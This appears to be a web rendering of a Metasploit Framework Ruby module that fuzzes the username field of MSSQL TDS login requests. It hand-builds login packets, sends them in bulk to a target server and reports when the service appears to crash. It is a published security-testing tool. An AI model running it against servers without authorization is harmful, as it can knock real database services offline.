CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/fuzzers/tds/tds_login_username.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::MSSQL
8
include Msf::Auxiliary::Fuzzer
9
10
def initialize(info = {})
11
super(update_info(info,
12
'Name' => 'TDS Protocol Login Request Username Fuzzer',
13
'Description' => %q{
14
This module sends a series of malformed TDS login requests.
15
},
16
'Author' => [ 'hdm' ],
17
'License' => MSF_LICENSE
18
))
19
end
20
21
# A copy of the mssql_login method with the ability to overload each option
22
def do_login(opts={})
23
24
@connected = false
25
disconnect if self.sock
26
connect
27
@connected = true
28
29
pkt = ""
30
idx = 0
31
db = ""
32
33
pkt << [
34
0x00000000, # Dummy size
35
opts[:tds_version] || 0x71000001, # TDS Version
36
opts[:size] || 0x00000000, # Size
37
opts[:version] || 0x00000007, # Version
38
opts[:pid] || rand(1024+1), # PID
39
opts[:connection_id] || 0x00000000, # ConnectionID
40
opts[:flags_opt1] || 0xe0, # Option Flags 1
41
opts[:flags_opt2] || 0x03, # Option Flags 2
42
opts[:flags_sql_type] || 0x00, # SQL Type Flags
43
opts[:flags_reserved] || 0x00, # Reserved Flags
44
opts[:timezone] || 0x00000000, # Time Zone
45
opts[:collation] || 0x00000000 # Collation
46
].pack('VVVVVVCCCCVV')
47
48
49
cname = Rex::Text.to_unicode( opts[:cname] || Rex::Text.rand_text_alpha(rand(8)+1) )
50
uname = Rex::Text.to_unicode( opts[:uname] || "sa" )
51
pname = opts[:pname_raw] || mssql_tds_encrypt( opts[:pname] || "" )
52
aname = Rex::Text.to_unicode(opts[:aname] || Rex::Text.rand_text_alpha(rand(8)+1) )
53
sname = Rex::Text.to_unicode( opts[:sname] || rhost )
54
dname = Rex::Text.to_unicode( opts[:dname] || db )
55
56
idx = pkt.size + 50 # lengths below
57
58
pkt << [idx, cname.length / 2].pack('vv')
59
idx += cname.length
60
61
pkt << [idx, uname.length / 2].pack('vv')
62
idx += uname.length
63
64
pkt << [idx, pname.length / 2].pack('vv')
65
idx += pname.length
66
67
pkt << [idx, aname.length / 2].pack('vv')
68
idx += aname.length
69
70
pkt << [idx, sname.length / 2].pack('vv')
71
idx += sname.length
72
73
pkt << [0, 0].pack('vv')
74
75
pkt << [idx, aname.length / 2].pack('vv')
76
idx += aname.length
77
78
pkt << [idx, 0].pack('vv')
79
80
pkt << [idx, dname.length / 2].pack('vv')
81
idx += dname.length
82
83
# The total length has to be embedded twice more here
84
pkt << [
85
0,
86
0,
87
0x12345678,
88
0x12345678
89
].pack('vVVV')
90
91
pkt << cname
92
pkt << uname
93
pkt << pname
94
pkt << aname
95
pkt << sname
96
pkt << aname
97
pkt << dname
98
99
# Total packet length
100
pkt[0,4] = [pkt.length].pack('V')
101
102
# Embedded packet lengths
103
pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2
104
105
# Packet header and total length including header
106
pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt
107
108
resp = mssql_send_recv(pkt,opts[:timeout])
109
110
info = {:errors => []}
111
info = mssql_parse_reply(resp,info)
112
info
113
end
114
115
def run
116
last_str = nil
117
last_inp = nil
118
last_err = nil
119
120
cnt = 0
121
fuzz_strings do |str|
122
# capped at 16-bit lengths
123
next if str.length > 65535
124
cnt += 1
125
126
if(cnt % 100 == 0)
127
print_status("Fuzzing with iteration #{cnt} using #{@last_fuzzer_input}")
128
end
129
130
begin
131
do_login(:uname => str, :timeout => 0.50)
132
rescue ::Interrupt
133
print_status("Exiting on interrupt: iteration #{cnt} using #{@last_fuzzer_input}")
134
raise $!
135
rescue ::Exception => e
136
last_err = e
137
ensure
138
disconnect
139
end
140
141
if(not @connected)
142
if(last_str)
143
print_status("The service may have crashed: method=#{last_inp} string=#{last_str.unpack("H*")[0]} error=#{last_err}")
144
else
145
print_status("Could not connect to the service: #{last_err}")
146
end
147
return
148
end
149
150
last_str = str
151
last_inp = @last_fuzzer_input
152
end
153
end
154
end
155
156